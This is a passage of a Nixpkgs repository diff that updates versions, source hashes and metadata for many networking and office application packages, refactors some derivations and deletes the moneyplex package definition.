"sha256-PxtHsBbrzcIAcLyQKD9DV8yqf3ljzGS7gT/ZRfJ8qL4="; + sha256 = "sha256-dl4fTa+CXsycC+hhSkIzQQxrSkBDPsdrmKdrHPakGig="; }; nativeBuildInputs = [ gettext wrapGAppsHook gobject-introspection ]; diff --git a/pkgs/applications/networking/ssb-patchwork/default.nix b/pkgs/applications/networking/ssb-patchwork/default.nix index 91875c1b55841..9e1f59f0bed63 100644 --- a/pkgs/applications/networking/ssb-patchwork/default.nix +++ b/pkgs/applications/networking/ssb-patchwork/default.nix @@ -22,7 +22,7 @@ let desktopItem = makeDesktopItem { name = "ssb-patchwork"; exec = "${binary}/bin/ssb-patchwork"; - icon = "ssb-patchwork.png"; + icon = "ssb-patchwork"; comment = "Client for the decentralized social network Secure Scuttlebutt"; desktopName = "Patchwork"; genericName = "Patchwork"; diff --git a/pkgs/applications/networking/sync/openrsync/default.nix b/pkgs/applications/networking/sync/openrsync/default.nix index 0398ccd960945..291db3c39951c 100644 --- a/pkgs/applications/networking/sync/openrsync/default.nix +++ b/pkgs/applications/networking/sync/openrsync/default.nix @@ -3,7 +3,7 @@ , fetchFromGitHub }: -stdenv.mkDerivation rec { +stdenv.mkDerivation { pname = "openrsync"; version = "unstable-2022-05-08"; diff --git a/pkgs/applications/networking/sync/rclone/default.nix b/pkgs/applications/networking/sync/rclone/default.nix index 735133d641fe1..ebb0f17e784b9 100644 --- a/pkgs/applications/networking/sync/rclone/default.nix +++ b/pkgs/applications/networking/sync/rclone/default.nix @@ -1,6 +1,6 @@ { lib, stdenv, buildGoModule, fetchFromGitHub, buildPackages, installShellFiles , makeWrapper -, enableCmount ? true, fuse, macfuse-stubs +, enableCmount ? true, fuse, fuse3, macfuse-stubs , librclone }: @@ -46,12 +46,12 @@ buildGoModule rec { ln -s $out/bin/rclone $out/bin/rclonefs ln -s $out/bin/rclone $out/bin/mount.rclone '' + lib.optionalString (enableCmount && !stdenv.isDarwin) - # use --suffix here to ensure we don't shadow /run/wrappers/bin/fusermount, + # use --suffix here to ensure we don't shadow /run/wrappers/bin/fusermount3, # as the setuid wrapper is required as non-root on NixOS. '' wrapProgram $out/bin/rclone \ - --suffix PATH : "${lib.makeBinPath [ fuse ] }" \ - --prefix LD_LIBRARY_PATH : "${fuse}/lib" + --suffix PATH : "${lib.makeBinPath [ fuse3 ] }" \ + --prefix LD_LIBRARY_PATH : "${fuse3}/lib" ''; passthru.tests = { diff --git a/pkgs/applications/networking/sync/storj-uplink/default.nix b/pkgs/applications/networking/sync/storj-uplink/default.nix index d1f141be82298..db26d084e797f 100644 --- a/pkgs/applications/networking/sync/storj-uplink/default.nix +++ b/pkgs/applications/networking/sync/storj-uplink/default.nix @@ -5,18 +5,18 @@ buildGoModule rec { pname = "storj-uplink"; - version = "1.96.2"; + version = "1.99.1"; src = fetchFromGitHub { owner = "storj"; repo = "storj"; rev = "v${version}"; - hash = "sha256-mQIrXDEfMMrubQyn90eu0k3isvnpaF237Tpd84HhUfU="; + hash = "sha256-UzuKy3pwl+chwYUWtcUEJIrU8wpSg3o2mVryc3qA9EM="; }; subPackages = [ "cmd/uplink" ]; - vendorHash = "sha256-cUhdl0jqgkA89NeOdFSifR5LsTjeYifOXqBu3qCAovk="; + vendorHash = "sha256-RaZ+yEkzsu/V3734joWtVA2m2vCOW+CnjF5s0mwDI/0="; ldflags = [ "-s" "-w" ]; diff --git a/pkgs/applications/networking/sync/wdt/default.nix b/pkgs/applications/networking/sync/wdt/default.nix index f6eb3a326cbda..521453e5ecb89 100644 --- a/pkgs/applications/networking/sync/wdt/default.nix +++ b/pkgs/applications/networking/sync/wdt/default.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation { pname = "wdt"; - version = "unstable-2023-12-01"; + version = "unstable-2024-02-05"; src = fetchFromGitHub { owner = "facebook"; repo = "wdt"; - rev = "66f17af009ef6eaf2707bb8bb511ba6bcf3d9bbe"; - sha256 = "sha256-ucnFcpH9Duru35kRT769zMX2BMqufZJopd2srKPJkrU="; + rev = "d94b2d5df6f1c803f9f3b8ed9247b752fa853865"; + sha256 = "sha256-9TeJbZZq9uQ6KaEBFGDyIGcXgxi2y1aj55vxv5dAIzw="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/networking/upnp-router-control/default.nix b/pkgs/applications/networking/upnp-router-control/default.nix index 928c7a69fd8c6..761975a277bc4 100644 --- a/pkgs/applications/networking/upnp-router-control/default.nix +++ b/pkgs/applications/networking/upnp-router-control/default.nix @@ -12,12 +12,12 @@ , gupnp_1_6 }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "upnp-router-control"; version = "0.3.4"; src = fetchzip { - url = "https://launchpad.net/upnp-router-control/trunk/${version}/+download/upnp-router-control-${version}.tar.xz"; + url = "https://launchpad.net/upnp-router-control/trunk/${finalAttrs.version}/+download/upnp-router-control-${finalAttrs.version}.tar.xz"; hash = "sha256-28F/OB2fHemn7HLVFEDmefRA5AsEaQKy+Qbcv75z9w0="; }; @@ -50,4 +50,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; mainProgram = "upnp-router-control"; }; -} +}) diff --git a/pkgs/applications/networking/xpipe/default.nix b/pkgs/applications/networking/xpipe/default.nix index 7894a0fd030ee..fdd403cd4e0f7 100644 --- a/pkgs/applications/networking/xpipe/default.nix +++ b/pkgs/applications/networking/xpipe/default.nix @@ -33,14 +33,14 @@ let }.${system} or throwSystem; hash = { - x86_64-linux = "sha256-kSJFKKqiSTa7sfHwZ3N7O01Eoi4cr86X7Dxkg+pzSgU="; + x86_64-linux = "sha256-MtSpyPj2PX8K2e4ZLAmvn0T5bJvPtBbzmn6/cTXGlbc="; }.${system} or throwSystem; displayname = "XPipe"; in stdenvNoCC.mkDerivation rec { pname = "xpipe"; - version = "1.7.16"; + version = "8.0.1"; src = fetchzip { url = "https://github.com/xpipe-io/xpipe/releases/download/${version}/xpipe-portable-linux-${arch}.tar.gz"; diff --git a/pkgs/applications/networking/yaup/default.nix b/pkgs/applications/networking/yaup/default.nix index a5c49ece00d1c..cc6ba09076cd0 100644 --- a/pkgs/applications/networking/yaup/default.nix +++ b/pkgs/applications/networking/yaup/default.nix @@ -8,7 +8,7 @@ , miniupnpc }: -stdenv.mkDerivation rec { +stdenv.mkDerivation { pname = "yaup"; version = "unstable-2019-10-16"; diff --git a/pkgs/applications/office/appflowy/default.nix b/pkgs/applications/office/appflowy/default.nix index 05b6171a07fc6..046e1273ed1bb 100644 --- a/pkgs/applications/office/appflowy/default.nix +++ b/pkgs/applications/office/appflowy/default.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "appflowy"; - version = "0.4.6"; + version = "0.4.9"; src = fetchzip { url = "https://github.com/AppFlowy-IO/appflowy/releases/download/${version}/AppFlowy-${version}-linux-x86_64.tar.gz"; - hash = "sha256-496uXlJ/3ID8fnW/LKwk0Waca4gSQBuKIFMJ4EJGcsA="; + hash = "sha256-+Olmp2z5cLDgZikY2n9LI2A9W03pYdCtUE9hdr9Tp2Q="; stripRoot = false; }; @@ -79,5 +79,6 @@ stdenv.mkDerivation rec { changelog = "https://github.com/AppFlowy-IO/appflowy/releases/tag/${version}"; maintainers = with maintainers; [ darkonion0 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "appflowy"; }; } diff --git a/pkgs/applications/office/hledger-check-fancyassertions/default.nix b/pkgs/applications/office/hledger-check-fancyassertions/default.nix index 9ffac0f312913..366f4fb2ae97e 100644 --- a/pkgs/applications/office/hledger-check-fancyassertions/default.nix +++ b/pkgs/applications/office/hledger-check-fancyassertions/default.nix @@ -39,5 +39,6 @@ stdenvNoCC.mkDerivation rec { license = licenses.gpl3; maintainers = [ maintainers.DamienCassou ]; platforms = lib.platforms.all; # GHC can cross-compile + mainProgram = "hledger-check-fancyassertions"; }; } diff --git a/pkgs/applications/office/homebank/default.nix b/pkgs/applications/office/homebank/default.nix index 4a3272a4e5991..a5f0b90095e70 100644 --- a/pkgs/applications/office/homebank/default.nix +++ b/pkgs/applications/office/homebank/default.nix @@ -3,10 +3,10 @@ stdenv.mkDerivation rec { pname = "homebank"; - version = "5.7.3"; + version = "5.7.4"; src = fetchurl { url = "https://www.gethomebank.org/public/sources/homebank-${version}.tar.gz"; - hash = "sha256-ad8XKlmazWZim/mLNmnsFSy5Oni7yv3HQxYX3SXzXcU="; + hash = "sha256-Qs5xRsh16gyjyTORtqm/RxTbRiHGP0oJTcxviYW7VOQ="; }; nativeBuildInputs = [ pkg-config wrapGAppsHook intltool ]; @@ -16,7 +16,7 @@ stdenv.mkDerivation rec { description = "Free, easy, personal accounting for everyone"; homepage = "https://www.gethomebank.org"; license = licenses.gpl2Plus; - maintainers = with maintainers; [ pSub ]; + maintainers = with maintainers; [ pSub frlan ]; platforms = platforms.linux ++ platforms.darwin; }; } diff --git a/pkgs/applications/office/ib/tws/default.nix b/pkgs/applications/office/ib/tws/default.nix index 24c8cafcdda56..3b267d79f39fe 100644 --- a/pkgs/applications/office/ib/tws/default.nix +++ b/pkgs/applications/office/ib/tws/default.nix @@ -16,8 +16,6 @@ stdenv.mkDerivation rec { sha256 = "1a2jiwwnr5g3xfba1a89c257bdbnq4zglri8hz021vk7f6s4rlrf"; }; - phases = [ "unpackPhase" "buildPhase" "installPhase" ]; - buildInputs = [ jdk ]; buildPhase = '' diff --git a/pkgs/applications/office/jameica/default.nix b/pkgs/applications/office/jameica/default.nix index 655de5227bb09..e6aa7cb21d14e 100644 --- a/pkgs/applications/office/jameica/default.nix +++ b/pkgs/applications/office/jameica/default.nix @@ -83,5 +83,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = [ "x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-linux" ]; maintainers = with maintainers; [ flokli r3dl3g ]; + mainProgram = "jameica"; }; } diff --git a/pkgs/applications/office/ledger-web/default.nix b/pkgs/applications/office/ledger-web/default.nix index ce8b401cb6b92..e19d4492ac918 100644 --- a/pkgs/applications/office/ledger-web/default.nix +++ b/pkgs/applications/office/ledger-web/default.nix @@ -19,5 +19,6 @@ bundlerApp { license = licenses.mit; maintainers = with maintainers; [ peterhoeg manveru nicknovitski ]; platforms = platforms.linux; + mainProgram = "ledger_web"; }; } diff --git a/pkgs/applications/office/mendeley/default.nix b/pkgs/applications/office/mendeley/default.nix index 81857f99f37db..2808dd14e2c62 100644 --- a/pkgs/applications/office/mendeley/default.nix +++ b/pkgs/applications/office/mendeley/default.nix @@ -7,13 +7,13 @@ let pname = "mendeley"; - version = "2.105.0"; + version = "2.110.2"; executableName = "${pname}-reference-manager"; src = fetchurl { url = "https://static.mendeley.com/bin/desktop/mendeley-reference-manager-${version}-x86_64.AppImage"; - hash = "sha256-vs430WLApRu+Xw2gYgriOD0jsQqTW+qhI1g4r67W9aM="; + hash = "sha256-AJNNCPEwLAO1+Zub6Yyad5Zcsl35zf4dEboyGE9wSX8="; }; appimageContents = appimageTools.extractType2 { @@ -39,6 +39,7 @@ in appimageTools.wrapType2 { license = licenses.unfree; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ dtzWill atila ]; + mainProgram = "mendeley-reference-manager"; }; } diff --git a/pkgs/applications/office/micropad/default.nix b/pkgs/applications/office/micropad/default.nix index c693d83c7cfe2..c50e14015f3be 100644 --- a/pkgs/applications/office/micropad/default.nix +++ b/pkgs/applications/office/micropad/default.nix @@ -96,5 +96,6 @@ in license = licenses.mpl20; maintainers = with maintainers; [rhysmdnz]; inherit (electron.meta) platforms; + mainProgram = "micropad"; }; } diff --git a/pkgs/applications/office/moneyplex/default.nix b/pkgs/applications/office/moneyplex/default.nix deleted file mode 100644 index 08d926a6d5e23..0000000000000 --- a/pkgs/applications/office/moneyplex/default.nix +++ /dev/null @@ -1,123 +0,0 @@ -{ lib, stdenv, fetchurl, patchelf, coreutils, pcsclite -, zlib, glib, gdk-pixbuf, gtk2, cairo, pango, libX11, atk, openssl -, runtimeShell }: - -let - libPath = lib.makeLibraryPath [ - stdenv.cc.cc zlib glib gdk-pixbuf gtk2 cairo pango libX11 atk openssl - ]; - - src_i686 = { - url = "http://www.matrica.com/download/distribution/moneyplex_16_install32_22424.tar.gz"; - sha256 = "0yfpc6s85r08g796dycl378kagkma865vp7j72npia3hjc4vwamr"; - }; - - src_x86_64 = { - url = "http://www.matrica.com/download/distribution/moneyplex_16_install64_22424.tar.gz"; - sha256 = "03vxbg1yp8qyvcn6bw2a5s134nxzq9cn0vqbmlld7hh4knbsfqzw"; - }; -in - -stdenv.mkDerivation { - pname = "moneyplex"; - version = "16.0.22424"; - - src = fetchurl (if stdenv.hostPlatform.system == "i686-linux" then src_i686 - else if stdenv.hostPlatform.system == "x86_64-linux" then src_x86_64 - else throw "moneyplex requires i686-linux or x86_64-linux"); - - - phases = [ "unpackPhase" "installPhase" "postInstall" ]; - - buildInputs = [ ]; - - installPhase = - '' - mkdir -p "$out/opt/moneyplex" - cp -r . $out/opt/moneyplex - - mkdir "$out/bin" - - cat > $out/bin/moneyplex <<EOF - #!${runtimeShell} - - if [ -z "\$XDG_DATA_HOME" ]; then - MDIR=\$HOME/.local/share/moneyplex - else - MDIR=\$XDG_DATA_HOME/moneyplex - fi - - if [ ! -d "\$MDIR" ]; then - ${coreutils}/bin/mkdir -p \$MDIR - ${coreutils}/bin/cp -r $out/opt/moneyplex/* \$MDIR - ${coreutils}/bin/chmod 0644 \$MDIR/* - ${coreutils}/bin/chmod 0755 \$MDIR/system - ${coreutils}/bin/chmod 0644 \$MDIR/system/* - ${coreutils}/bin/chmod 0755 \$MDIR/reports - ${coreutils}/bin/chmod 0644 \$MDIR/reports/* - ${coreutils}/bin/chmod 0755 \$MDIR/moneyplex - ${coreutils}/bin/chmod 0755 \$MDIR/prestart - ${coreutils}/bin/chmod 0755 \$MDIR/mpxalarm - fi - - if [ ! -d "\$MDIR/pcsc" ]; then - ${coreutils}/bin/mkdir -p \$MDIR/pcsc - fi - if [ ! -e "\$MDIR/pcsc/libpcsclite.so.1" ] || [ ! \`${coreutils}/bin/readlink -f "\$MDIR/pcsc/libpcsclite.so.1"\` -ef "${lib.getLib pcsclite}/lib/libpcsclite.so.1" ]; then - ${coreutils}/bin/ln -sf "${lib.getLib pcsclite}/lib/libpcsclite.so.1" "\$MDIR/pcsc/libpcsclite.so.1" - fi - - - if [ -e "\$MDIR/rup/rupremote.lst" ]; then - for i in \`${coreutils}/bin/cat "\$MDIR/rup/rupremote.lst"\`; do - ${coreutils}/bin/mv "\$MDIR/rup/"\`${coreutils}/bin/basename \$i\` "\$MDIR/\$i" - done - rm -r "\$MDIR/rup/rupremote.lst" - fi - - if [ ! -e "\$MDIR/moneyplex.patched" ] || [ "\$MDIR/moneyplex" -nt "\$MDIR/moneyplex.patched" ]; then - ${coreutils}/bin/cp "\$MDIR/moneyplex" "\$MDIR/moneyplex.patched" - ${coreutils}/bin/chmod 0755 "\$MDIR/moneyplex.patched" - fi - if [ ! \`${patchelf}/bin/patchelf --print-interpreter \$MDIR/moneyplex.patched\` = $(cat $NIX_CC/nix-support/dynamic-linker) ] || - [ ! \`${patchelf}/bin/patchelf --print-rpath \$MDIR/moneyplex.patched\` = "${libPath}" ]; then - ${patchelf}/bin/patchelf --set-interpreter $(cat $NIX_CC/nix-support/dynamic-linker) --set-rpath "${libPath}" "\$MDIR/moneyplex.patched" - fi - - exec \$MDIR/moneyplex.patched - EOF - - chmod +x $out/bin/moneyplex - ''; - - postInstall = '' - mkdir -p $out/share/icons - cp -r $out/opt/moneyplex/system/mpx256.png $out/share/icons/moneyplex.png - - mkdir -p $out/share/applications - cat > $out/share/applications/moneyplex.desktop <<EOF - [Desktop Entry] - Type=Application - Encoding=UTF-8 - Name=Moneyplex - GenericName=Moneyplex online banking software - Comment=Online banking software - Icon=$out/share/icons/moneyplex.png - Exec=$out/bin/moneyplex - Terminal=false - Categories=Application; - StartupNotify=true - EOF - ''; - - - meta = with lib; { - description = "Moneyplex online banking software"; - maintainers = with maintainers; [ ]; - sourceProvenance = with sourceTypes; [ binaryNativeCode ]; - platforms = platforms.linux; - license = licenses.unfree; - downloadPage = "http://matrica.de/download/download.html"; - }; - -} diff --git a/pkgs/applications/office/notion-app-enhanced/default.nix b/pkgs/applications/office/notion-app-enhanced/default.nix index 84635f42ee45d..e9206f9e51532 100644 --- a/pkgs/applications/office/notion-app-enhanced/default.nix +++ b/pkgs/applications/office/notion-app-enhanced/default.nix @@ -28,5 +28,6 @@ in appimageTools.wrapType2 { license = licenses.unfree; maintainers = with maintainers; [ sei40kr ]; platforms = [ "x86_64-linux" ]; + mainProgram = "notion-app-enhanced"; }; } diff --git a/pkgs/applications/office/p3x-onenote/default.nix b/pkgs/applications/office/p3x-onenote/default.nix index 29e4f90a957ff..c70f3aa52c407 100644 --- a/pkgs/applications/office/p3x-onenote/default.nix +++ b/pkgs/applications/office/p3x-onenote/default.nix @@ -47,5 +47,6 @@ appimageTools.wrapType2 rec { license = licenses.mit; maintainers = with maintainers; [ tiagolobocastro ]; platforms = [ "x86_64-linux" "aarch64-linux" "armv7l-linux" ]; + mainProgram = "p3x-onenote"; }; } diff --git a/pkgs/applications/office/paperless-ngx/default.nix b/pkgs/applications/office/paperless-ngx/default.nix index e2f71ff83b0ff..0f77fd1cf358e 100644 --- a/pkgs/applications/office/paperless-ngx/default.nix +++ b/pkgs/applications/office/paperless-ngx/default.nix @@ -22,13 +22,13 @@ }: let - version = "2.5.0"; + version = "2.6.1"; src = fetchFromGitHub { owner = "paperless-ngx"; repo = "paperless-ngx"; rev = "refs/tags/v${version}"; - hash = "sha256-f9XMGGNr4qA/twp7Kbv/34mvgNQT+KZ1rYre1BXVWw0="; + hash = "sha256-sBzy3C59630moKuv3cmE9YI/FQkoZbF0SoSFbpJdNd8="; }; python = python3; @@ -53,7 +53,7 @@ let cd src-ui ''; - npmDepsHash = "sha256-7//VmAgXB4H8hlalfu4JeqFDa8dj1u5Z1kbwp2Wi4cQ="; + npmDepsHash = "sha256-oie1jUFIRrOpdxw1gDtLBgFl1Fb0F5hjvl0wTAd6eYU="; nativeBuildInputs = [ pkg-config @@ -99,30 +99,12 @@ python.pkgs.buildPythonApplication rec { ]; propagatedBuildInputs = with python.pkgs; [ - amqp - anyio - asgiref - async-timeout - attrs - autobahn - automat - billiard bleach - celery - certifi - cffi - channels-redis channels - charset-normalizer - click - click-didyoumean - click-plugins - click-repl - coloredlogs + channels-redis concurrent-log-handler - constantly - cryptography dateparser + django django-allauth django-auditlog django-celery-results @@ -132,92 +114,41 @@ python.pkgs.buildPythonApplication rec { django-filter django-guardian django-multiselectfield - django - djangorestframework-guardian2 djangorestframework + djangorestframework-guardian2 drf-writable-nested filelock flower gotenberg-client gunicorn - h11 - h2 - hiredis - httptools - httpx - humanfriendly - humanize - hyperlink - idna imap-tools - img2pdf - incremental - inotify-simple inotifyrecursive - joblib langdetect - lxml - msgpack mysqlclient nltk ocrmypdf - packaging pathvalidate pdf2image - pikepdf - pillow - pluggy - portalocker - prompt-toolkit psycopg2 - pyasn1-modules - pyasn1 - pycparser - pyopenssl python-dateutil python-dotenv + python-gnupg python-ipware python-magic - python-gnupg - pytz - pyyaml pyzbar rapidfuzz redis - regex - reportlab - requests scikit-learn - scipy setproctitle - service-identity - sniffio - sqlparse - threadpoolctl tika-client - tornado tqdm - twisted - txaio - tzdata - tzlocal - urllib3 uvicorn - uvloop - vine watchdog - watchfiles - wcwidth - webencodings - websockets whitenoise whoosh - zipp - zope-interface zxing-cpp ] ++ redis.optional-dependencies.hiredis - ++ twisted.optional-dependencies.tls ++ uvicorn.optional-dependencies.standard; postBuild = '' @@ -262,7 +193,6 @@ python.pkgs.buildPythonApplication rec { pytest-rerunfailures pytest-xdist pytestCheckHook - reportlab ]; pytestFlagsArray = [ @@ -280,7 +210,7 @@ python.pkgs.buildPythonApplication rec { # Disable unneeded code coverage test substituteInPlace src/setup.cfg \ - --replace "--cov --cov-report=html --cov-report=xml" "" + --replace-fail "--cov --cov-report=html --cov-report=xml" "" ''; disabledTests = [ diff --git a/pkgs/applications/office/pdfmm/default.nix b/pkgs/applications/office/pdfmm/default.nix index 1a61f786de2fe..08dd9eea9bbd6 100644 --- a/pkgs/applications/office/pdfmm/default.nix +++ b/pkgs/applications/office/pdfmm/default.nix @@ -53,5 +53,6 @@ resholve.mkDerivation rec { homepage = "https://github.com/jpfleury/pdfmm"; license = licenses.gpl3Only; maintainers = with maintainers; [ urandom ]; + mainProgram = "pdfmm"; }; } diff --git a/pkgs/applications/office/pinpoint/default.nix b/pkgs/applications/office/pinpoint/default.nix index d7b1984b0d733..99a45371b63c3 100644 --- a/pkgs/applications/office/pinpoint/default.nix +++ b/pkgs/applications/office/pinpoint/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21; platforms = platforms.linux; maintainers = with maintainers; [ pSub ]; + mainProgram = "pinpoint"; }; } diff --git a/pkgs/applications/office/planify/default.nix b/pkgs/applications/office/planify/default.nix index 9c8aad5e9cae8..c4a1ab0887d13 100644 --- a/pkgs/applications/office/planify/default.nix +++ b/pkgs/applications/office/planify/default.nix @@ -12,11 +12,13 @@ , glib-networking , gtk4 , gtksourceview5 +, gxml , json-glib , libadwaita , libgee , libical , libportal-gtk4 +, libsecret , libsoup_3 , pantheon , sqlite @@ -25,13 +27,13 @@ stdenv.mkDerivation rec { pname = "planify"; - version = "4.4"; + version = "4.5.2"; src = fetchFromGitHub { owner = "alainm23"; repo = "planify"; rev = version; - hash = "sha256-HX6ZMx2NUAQxEGLIk/wgUlQX0BFtee3+t/JdlMTIYBw="; + hash = "sha256-huHNcAIwTvKssPQmOGCc6UzPxCh7JP1gM6BGbD0QM/w="; }; nativeBuildInputs = [ @@ -49,11 +51,13 @@ stdenv.mkDerivation rec { glib-networking gtk4 gtksourceview5 + gxml json-glib libadwaita libgee libical libportal-gtk4 + libsecret libsoup_3 pantheon.granite7 sqlite diff --git a/pkgs/applications/office/qownnotes/default.nix b/pkgs/applications/office/qownnotes/default.nix index faab6627816a7..08ede6a81e11f 100644 --- a/pkgs/applications/office/qownnotes/default.nix +++ b/pkgs/applications/office/qownnotes/default.nix @@ -19,14 +19,14 @@ let pname = "qownnotes"; appname = "QOwnNotes"; - version = "24.2.0"; + version = "24.2.6"; in stdenv.mkDerivation { inherit pname version; src = fetchurl { url = "https://github.com/pbek/QOwnNotes/releases/download/v${version}/qownnotes-${version}.tar.xz"; - hash = "sha256-mk7yFlL+NiTZ0JtSY3y/Y1NrN1QYcBxveMImv1zB1l8="; + hash = "sha256-F0AUY82zPDRpV/mBb6kpAdMIImJ2ICwwfIluxh8Z7As="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/office/rime-cli/default.nix b/pkgs/applications/office/rime-cli/default.nix index 5dd412a450224..a5b989528459d 100644 --- a/pkgs/applications/office/rime-cli/default.nix +++ b/pkgs/applications/office/rime-cli/default.nix @@ -19,5 +19,6 @@ buildGoModule rec { description = "A command line tool to add customized vocabulary for Rime IME"; license = licenses.asl20; maintainers = with maintainers; [ urandom ]; + mainProgram = "rime-cli"; }; } diff --git a/pkgs/applications/office/roam-research/darwin.nix b/pkgs/applications/office/roam-research/darwin.nix index 2c736c0c1a7fc..1369a2352b585 100644 --- a/pkgs/applications/office/roam-research/darwin.nix +++ b/pkgs/applications/office/roam-research/darwin.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryNativeCode ]; license = licenses.unfree; platforms = [ "x86_64-darwin" "aarch64-darwin" ]; + mainProgram = "roam-research"; }; } diff --git a/pkgs/applications/office/roam-research/linux.nix b/pkgs/applications/office/roam-research/linux.nix index 5873bcfdd190a..8733ce33026a8 100644 --- a/pkgs/applications/office/roam-research/linux.nix +++ b/pkgs/applications/office/roam-research/linux.nix @@ -69,5 +69,6 @@ in stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryNativeCode ]; license = licenses.unfree; platforms = [ "x86_64-linux" ]; + mainProgram = "roam-research"; }; } diff --git a/pkgs/applications/office/super-productivity/default.nix b/pkgs/applications/office/super-productivity/default.nix index 60b7b9ba1129c..eb97565cb760d 100644 --- a/pkgs/applications/office/super-productivity/default.nix +++ b/pkgs/applications/office/super-productivity/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "super-productivity"; - version = "7.17.2"; + version = "8.0.1"; src = fetchurl { url = "https://github.com/johannesjo/super-productivity/releases/download/v${version}/superProductivity-${version}.AppImage"; - sha256 = "sha256-CcgjfA0BRfCrRb8N+KIgheUAF+JJK3yIv9Trp+gg+s0="; + sha256 = "sha256-BW/4jP4lh3leAcdy3JHET/PUybN+0Cy9wxMSi57dAcw="; name = "${pname}-${version}.AppImage"; }; @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ offline ]; + mainProgram = "super-productivity"; }; } diff --git a/pkgs/applications/office/teapot/default.nix b/pkgs/applications/office/teapot/default.nix index 209fa7c4556b8..31ff3c8609874 100644 --- a/pkgs/applications/office/teapot/default.nix +++ b/pkgs/applications/office/teapot/default.nix @@ -73,6 +73,7 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ AndersonTorres ]; platforms = platforms.unix; + mainProgram = "teapot"; }; } # TODO: patch/fix FLTK building diff --git a/pkgs/applications/office/timeular/default.nix b/pkgs/applications/office/timeular/default.nix index 61b9de8029fec..8ea89c5b058bb 100644 --- a/pkgs/applications/office/timeular/default.nix +++ b/pkgs/applications/office/timeular/default.nix @@ -5,12 +5,12 @@ }: let - version = "6.6.8"; + version = "6.7.3"; pname = "timeular"; src = fetchurl { url = "https://s3.amazonaws.com/timeular-desktop-packages/linux/production/Timeular-${version}.AppImage"; - hash = "sha256-giQjcUnhBGt2egRmYLEL8cFZYKjtUu34ozh1filNyiw="; + hash = "sha256-VnjCTf2x3GzmKW9EfNWGsN/aK7DKjTo8DZOF2qqGJ0Q="; }; appimageContents = appimageTools.extractType2 { @@ -42,5 +42,6 @@ in appimageTools.wrapType2 rec { license = licenses.unfree; maintainers = with maintainers; [ ktor ]; platforms = [ "x86_64-linux" ]; + mainProgram = "timeular"; }; } diff --git a/pkgs/applications/office/trilium/0001-Use-console-logger-instead-of-rolling-files.patch b/pkgs/applications/office/trilium/0001-Use-console-logger-instead-of-rolling-files.patch index 7acf353bea1bf..68f203b464b2b 100644 --- a/pkgs/applications/office/trilium/0001-Use-console-logger-instead-of-rolling-files.patch +++ b/pkgs/applications/office/trilium/0001-Use-console-logger-instead-of-rolling-files.patch @@ -6,8 +6,8 @@ index a141eae14..094b9381b 100644 "use strict"; -const fs = require('fs'); --const dataDir = require('./data_dir'); - const cls = require('./cls'); +-const dataDir = require('./data_dir.js'); + const cls = require('./cls.js'); -if (!fs.existsSync(dataDir.LOG_DIR)) { - fs.mkdirSync(dataDir.LOG_DIR, 0o700); diff --git a/pkgs/applications/office/trilium/desktop.nix b/pkgs/applications/office/trilium/desktop.nix index 32c7c2a7024c3..a99fb6070c5e5 100644 --- a/pkgs/applications/office/trilium/desktop.nix +++ b/pkgs/applications/office/trilium/desktop.nix @@ -7,13 +7,13 @@ let pname = "trilium-desktop"; - version = "0.62.5"; + version = "0.63.3"; linuxSource.url = "https://github.com/zadam/trilium/releases/download/v${version}/trilium-linux-x64-${version}.tar.xz"; - linuxSource.sha256 = "1f2f8nvj1gx9i797mck5aazgz821sjcs06538py9za4m532i66pj"; + linuxSource.sha256 = "1dcq7s4lcp9bc0p4ylzxyfc020xvj7scrlsddzwcnp8mqz5ckik9"; darwinSource.url = "https://github.com/zadam/trilium/releases/download/v${version}/trilium-mac-x64-${version}.zip"; - darwinSource.sha256 = "19zny4akf3hxqjqayiz4s47vdblbrn4kgwg3nykljv4lpqnqkyn3"; + darwinSource.sha256 = "0m9m68f9jg10nfn719q6wahwvi13lpc2hmandw7ddxfslylwq29s"; meta = metaCommon // { mainProgram = "trilium"; diff --git a/pkgs/applications/office/trilium/server.nix b/pkgs/applications/office/trilium/server.nix index 4beaba6688c92..8416a6f30bacd 100644 --- a/pkgs/applications/office/trilium/server.nix +++ b/pkgs/applications/office/trilium/server.nix @@ -3,8 +3,8 @@ let serverSource.url = "https://github.com/zadam/trilium/releases/download/v${version}/trilium-linux-x64-server-${version}.tar.xz"; - serverSource.sha256 = "1s0pfb3virhxsh5kkgq4yfhdnv1lq2z0zdcikilnayzp0lpjskhb"; - version = "0.62.5"; + serverSource.sha256 = "1pnxss85lz313r5l1qpgm9msyfr87h54nbfc7d89dbj0wgsjwk0n"; + version = "0.63.3"; in stdenv.mkDerivation { pname = "trilium-server"; inherit version; diff --git a/pkgs/applications/office/tudu/default.nix b/pkgs/applications/office/tudu/default.nix index 57204fe865645..df1c5420164f0 100644 --- a/pkgs/applications/office/tudu/default.nix +++ b/pkgs/applications/office/tudu/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { homepage = "https://code.meskio.net/tudu/"; license = licenses.gpl3; platforms = platforms.unix; + mainProgram = "tudu"; }; } diff --git a/pkgs/applications/office/tusk/default.nix b/pkgs/applications/office/tusk/default.nix index 52bb3eff49b7b..98f00f2ed54c9 100644 --- a/pkgs/applications/office/tusk/default.nix +++ b/pkgs/applications/office/tusk/default.nix @@ -48,5 +48,6 @@ in appimageTools.wrapType2 rec { license = licenses.mit; maintainers = with maintainers; [ tbenst ]; platforms = [ "x86_64-linux" ]; + mainProgram = "tusk"; }; } diff --git a/pkgs/applications/office/wpsoffice/default.nix b/pkgs/applications/office/wpsoffice/default.nix index d336b9cd5ba54..78b559b8ff3fe 